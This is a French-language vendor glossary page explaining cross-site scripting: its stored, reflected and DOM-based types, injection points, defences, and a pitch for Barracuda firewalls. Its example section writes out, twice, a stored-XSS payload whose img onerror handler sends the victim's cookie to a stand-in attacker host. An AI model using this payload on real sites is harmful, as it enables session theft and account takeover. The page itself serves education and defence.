Glossaire

Cross Site Scripting (XSS)

En quoi consiste le cross-site scripting ?

Le cross-site scripting (XSS) désigne une vulnérabilité Web omniprésente, qui permet à un hacker d'injecter des codes malveillants côté client (JavaScript, mais aussi VBScript, ActiveX, Flash, etc.) dans des pages Web. Le code (ou script) s'exécute ensuite dans le navigateur Web de l'utilisateur.

Avec le XSS, les pirates informatiques ne ciblent pas directement les utilisateurs, mais tirent parti d'une vulnérabilité présente dans un site ou une application Web que l'utilisateur visite. Le site ou l'application vulnérable sert alors de vecteur pour propager un script malveillant dans le navigateur de la victime.

Il existe trois catégories d'attaques de cross-site scripting : les XSS persistants/stockés, les XSS non persistants et les XSS basés sur le DOM.

  • Attaques XSS persistantes : un script malveillant est stocké sur le serveur de l'application Web. Tout utilisateur accédant à l'application s'expose au script qui s'exécute dans son navigateur.
  • Attaques XSS non persistantes : un serveur compromis reçoit une requête contenant un script malveillant et le « renvoie ». Une application qui reçoit la saisie d'un utilisateur dans une requête et la restitue en réponse, sans validation appropriée pour la filtrer ou la désinfecter, peut propager un JavaScript malveillant. Et si un script malveillant se retrouve dans une réponse, il peut s'exécuter dans le navigateur.
  • Attaques XSS basées sur le DOM : ici, aucun script n'est injecté dans la page Web, mais le comportement d'un script existant est modifié de façon inattendue. En général, il s'agit de modifier un élément DOM (Document Object Model) approuvé par script.

Les scripts côté client ont totalement accès au DOM, et peuvent en modifier n'importe quelle partie, y compris les données de session, les cookies, accéder à l'historique de navigation, etc. Par exemple, un hacker qui réussirait à exploiter des failles XSS pourrait pirater les données de session d'un utilisateur authentifié. Le hacker pourrait alors modifier le mot de passe de l'utilisateur, et accéder ainsi au compte/système de la victime.

Les auteurs d'une attaque XSS peuvent même parvenir à contrôler l'intégralité d'un système client. Des scripts malveillants peuvent rediriger silencieusement les navigateurs clients vers des domaines contrôlés par les hackers qui envoient des malwares, comme des kits d'exploitation de navigateur.

Méthodes de XSS

Dans une attaque XSS, il est possible d'injecter du code malveillant dans n'importe quelle partie d'une requête qui n'est pas correctement filtrée avant d'être incorporée dans une réponse. Parmi les cibles les plus courantes, citons notamment :

  • Paramètres d'URL
  • Paramètres FORM (paramètres GET et POST)
  • Cookies
  • En-têtes HTTP
  • Objets référents HTTP

Exemple d'attaque XSS

Prenons l'exemple d'une attaque XSS où un pirate informatique crée un compte sur un site de réseau social afin de voir combien il est facile de compromettre un tel système. À l'aide d'un code JavaScript malveillant intégré dans le champ d'un formulaire, le code est soumis au site et enregistré côté serveur :

/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>&gender=male

Le hacker a maintenant injecté le code

(<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>)

dans le champ d'adresse. Si un utilisateur innocent affiche le profil du hacker, le serveur envoie les détails de ce profil au navigateur de l'utilisateur, dans la réponse. La réponse contient le JavaScript malveillant, lequel s'exécute dans le navigateur et envoie le cookie de session au hacker.

Se protéger du cross-Site Scripting

Il est difficile d'éviter les attaques XSS. Quelques solutions sont largement utilisées :

  • Accepter uniquement les saisies en texte brut lorsque c'est possible. Cette approche est souvent efficace, bien qu'il existe de nombreux cas où les utilisateurs peuvent souhaiter ajouter une balise HTML à leur saisie (à des fins de formatage, par exemple).
  • Convertir des caractères spéciaux en entités HTML (par exemple, convertir « < » en « &lt ». Cette approche est largement recommandée et appliquée, mais elle n'empêche pas toutes les attaques XSS.
  • Des outils automatisés recherchent et suppriment le code malveillant susceptible de s'afficher. Si cette solution est la plus complète, il est peu probable que ces outils soient totalement efficaces contre un hacker déterminé, et ils peuvent s'avérer coûteux à installer et à entretenir.

Dans quelle mesure le cross-site scripting est-il important ?

Si un pirate informatique parvient à exploiter une vulnérabilité XSS sur une page Web afin d'exécuter un code JavaScript arbitraire dans le navigateur d'un internaute, la sécurité du site ou de l'application Web et de ses utilisateurs est compromise.

Idéalement, les attaques de cross-site scripting peuvent être évitées grâce à un codage sécurisé qui impose une validation appropriée des saisies. Cependant, cette approche se révèle souvent peu pratique quand il s'agit d'applications héritées ou tierces, ou lorsque le code source n'est pas directement disponible. On conseille parfois de désactiver les scripts côté client dans les navigateurs des utilisateurs. Toutefois, le bon fonctionnement de la plupart des applications modernes repose sur des scripts côté client. Par conséquent, la désactivation de JavaScript se traduit par un dysfonctionnement des applications Web. Si de nouvelles technologies côté client semblent prometteuses (comme le mécanisme de sécurité de Mozilla « Content Security Policy » ou le filtre XSS d'Internet Explorer), elles ne sont pas encore infaillibles.

En savoir plus sur le cross-site scripting

Termes associés

Lectures complémentaires

Découvrez comment Barracuda peut vous aider

Barracuda Web Application Firewall contient des ensembles complets de règles qui permettent de détecter les attaques XSS en clair ou masquées dans les requêtes entrantes. La politique de sécurité par défaut élimine toutes les attaques XSS sans nécessiter de configuration supplémentaire ni de modification du code de l'application Web.

Les pare-feux Barracuda CloudGen Firewall incluent un système de prévention et de détection des intrusions qui améliore considérablement la sécurité du réseau. En renforçant la protection complète du réseau, ce système contribue à prévenir les attaques telles que le cross-site scripting et le dépassement de tampon.